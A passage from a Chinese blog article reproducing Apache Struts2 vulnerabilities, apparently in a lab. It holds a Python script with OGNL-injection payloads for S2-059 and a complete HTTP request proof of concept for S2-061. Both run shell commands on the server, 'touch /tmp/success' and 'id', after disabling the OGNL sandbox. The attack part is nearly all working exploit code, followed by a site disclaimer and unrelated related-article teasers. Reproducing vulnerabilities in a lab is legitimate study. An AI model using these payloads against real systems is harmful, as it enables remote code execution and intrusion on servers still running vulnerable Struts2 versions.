    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

也可以用burp发两次POST数据包,注意需要URL全编码

在这里插入图片描述

2.17 s2-061

S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。
影响版本范围:Struts 2.0.0到Struts 2.5.25。

POC:

POST /index.action HTTP/1.1
Host: 192.168.92.6:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1891432.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

修复 OpenSSH 爆出极其严重的安全漏洞!

最近几天OpenSSH爆出了一个高危漏洞&#xff1a;CVE-2024-6387&#xff0c;影响到了很多的Linux服务器系统。明月第一时间给所有的代维客户服务器进行了排查和漏洞修复&#xff0c;因此耽搁了一些时间。直到今天才算抽出空来给大家分享一下。严格上来说这个漏洞的危险性还是极高…

mongdb学习与使用

1. 基础概念 MongoDB简介&#xff1a; MongoDB是一个基于文档的NoSQL数据库&#xff0c;具有高性能、高可用性和易扩展性。数据存储在类似JSON的BSON格式中。 基本术语&#xff1a; Database&#xff08;数据库&#xff09;&#xff1a; 集合的容器。Collection&#xff08;集合…

ShareSDK iOS端如何实现小红书分享

下载SDK 请登陆官网 &#xff0c;找到SDK下载&#xff0c;勾选需要的平台下载 导入SDK &#xff08;1&#xff09;离线导入将上述下载到的SDK&#xff0c;直接将整个SDK资源文件拖进项目里&#xff0c;如下图&#xff1a; 并且勾选以下3个选项 在点击Finish&#xff0c;…

多载波调制与OFDM原理讲解以及MATLAB实现GUI设计

前言 基于MATLAB设计并实现了一个OFDM调制的图形用户界面&#xff08;GUI&#xff09;系统。该系统旨在简化OFDM调制过程的仿真&#xff0c;提供友好的用户交互界面。设计目标是通过GUI实现参数化的OFDM仿真&#xff0c;包括子载波数、符号数、IFFT长度、循环前缀长度、循环后…

Android 换肤之插件换肤

文章目录 Android 换肤之插件换肤概述效果使用步骤代码结构原理 代码下载 Android 换肤之插件换肤 概述 Android 实现应用内换肤的常用方式&#xff08;两种&#xff09;&#xff1a; 通过Theme切换主题&#xff0c;即静态方法。通过AssetManager切换主题&#xff0c;可实现…

单元测试总结,一文全通

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、何为单测 测试有黑盒测试和白盒测试之分&#xff0c;黑盒测试顾名思义就是我们不了解盒子的…

数据泄露时代的安全之道:访问认证的重要性

引言 想象一下&#xff1a;你一觉醒来&#xff0c;收到一条通知——你的公司遭遇了数据泄露。你感到恐惧&#xff0c;因为这意味着客户数据被曝光&#xff0c;公司声誉受损&#xff0c;还有巨额罚款在等着你。在当今的数字化环境中&#xff0c;这种情况太常见了。全球各地的组…

ansible执行任务时,报错/usr/bin/env node没有文件或目录。

报错如图&#xff1a; 解决&#xff1a;添加软链即可 sudo ln -s /home/app/node-v18.20.3/bin/node /usr/bin/node

Qt开发 | qss简介与应用

文章目录 一、qss简介与应用二、QLineEdit qss介绍与使用三、QPushButton qss1.常用qss1.1 基本样式表1.2 背景图片1.3 图片在左文字在右 2.点击按钮弹出菜单以及右侧箭头样式设置3.鼠标悬浮按钮弹出对话框 四、QCheckBox qss妙用&#xff1a;实时打开关闭状态按钮五、QComboBo…

0-FreeCAD简介

这里写自定义目录标题 FreeCAD简介FreeCAD简介 FreeCAD是一款开源的三维计算机辅助设计(CAD)软件,它主要用于产品设计和工程制图。这款软件可以创建和修改3D模型,支持参数化设计,意味着你可以通过改变模型的参数来调整模型的大小、形状等属性。FreeCAD还支持多种3D文件格式…

【C语言】enum 关键字

在C语言中&#xff0c;enum关键字用于定义枚举类型。枚举是一种用户自定义的数据类型&#xff0c;由一组命名的整型常量构成。使用枚举可以提高代码的可读性和可维护性&#xff0c;特别是在表示一组相关的常量时。 定义和使用枚举类型 基本定义 要定义一个枚举类型&#xff…

党建科普3D数字化展馆支持实时更新迭代

3D虚拟策展逐渐成为新时代下的主流方式&#xff0c;深圳华锐视点作为专业的web3d开发公司&#xff0c;具有专业化的3D数字化空间还原能力&#xff0c;能根据企业/个人不同需求和预算&#xff0c;为您打造纯线上虚拟3D艺术展&#xff0c;让您彻底摆脱实体美术馆的限制&#xff0…

使用Ckman部署ClickHouse集群介绍

使用Ckman部署ClickHouse集群介绍 1. Ckman简介 ClickHouse Manager是一个为ClickHouse数据库量身定制的管理工具&#xff0c;它是由擎创科技数据库团队主导研发的一款用来管理和监控ClickHouse集群的可视化运维工具。目前该工具已在github上开源&#xff0c;开源地址为&…

【基于R语言群体遗传学】-4-统计建模与算法(statistical tests and algorithm)

之前的三篇博客&#xff0c;我们对于哈代温伯格遗传比例有了一个全面的认识&#xff0c;没有看的朋友可以先看一下前面的博客&#xff1a; 群体遗传学_tRNA做科研的博客-CSDN博客 1.一些新名词 &#xff08;1&#xff09;Algorithm: A series of operations executed in a s…

uni-app上传失败超出文件限制解决方法-分包处理-预加载

分包背景 当你的上传出现一下错误&#xff1a; Error: 系统错误&#xff0c;错误码&#xff1a;80051,source size 2089KB exceed max limit 2MB [20240703 10:53:06][wxbf93dfb6cb3eb8af] [1.06.2405010][win32-x64] 说明你主包太大需要处理了&#xff0c;一下两种方法可以…

51单片机嵌入式开发:STC89C52操作8八段式数码管原理

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 STC89C52操作8八段式数码管原理 1 8位数码管介绍1.1 8位数码管概述1.2 8位数码管原理1.3 应用场景 2 原理图图解2.1 74HC573原理2.2 74HC138原理2.3 数码管原理 3 数码管程序…

QT_GUI

1、QT安装 一个跨平台的应用程序和用户界面框架&#xff0c;用于开发图形用户界面&#xff08;GUI&#xff09;应用程序以及命令行工具。QT有商业版额免费开源版&#xff0c;一般使用免费开源版即可&#xff0c;下面安装的是QT5&#xff0c;因为出来较早&#xff0c;使用较多&…

【前端CSS3】CSS引入方式总结(黑马程序员)

文章目录 一、前言&#x1f680;&#x1f680;&#x1f680;二、CSS引入方式&#xff1a;☀️☀️☀️2.1 内部样式表2.2 行内样式表 三、总结&#x1f680;&#x1f680;&#x1f680; 一、前言&#x1f680;&#x1f680;&#x1f680; ☀️ 回报不在行动之后&#xff0c;回报…

ETL数据集成丨使用ETLCloud实现MySQL与Greenplum数据同步

我们在进行数据集成时&#xff0c;MySQL和Greenplum是比较常见的两个数据库&#xff0c;我们可以通过ETLCloud数据集成平台&#xff0c;可以快速实现MySQL数据库与数仓数据库&#xff08;Greenplum&#xff09;的数据同步。 MySQL数据库&#xff1a; 优点&#xff1a; 轻量级…

Java实现电子围栏的小例子

主要需求是实现一个电子围栏判断的小例子其中包括前端和后端的demo代码 public class GeoFenceUtils {/** geometryFactory */private static final GeometryFactory geometryFactory new GeometryFactory();/*** 判断指定的GPS点是否在电子围栏内** param fencePointsList 包…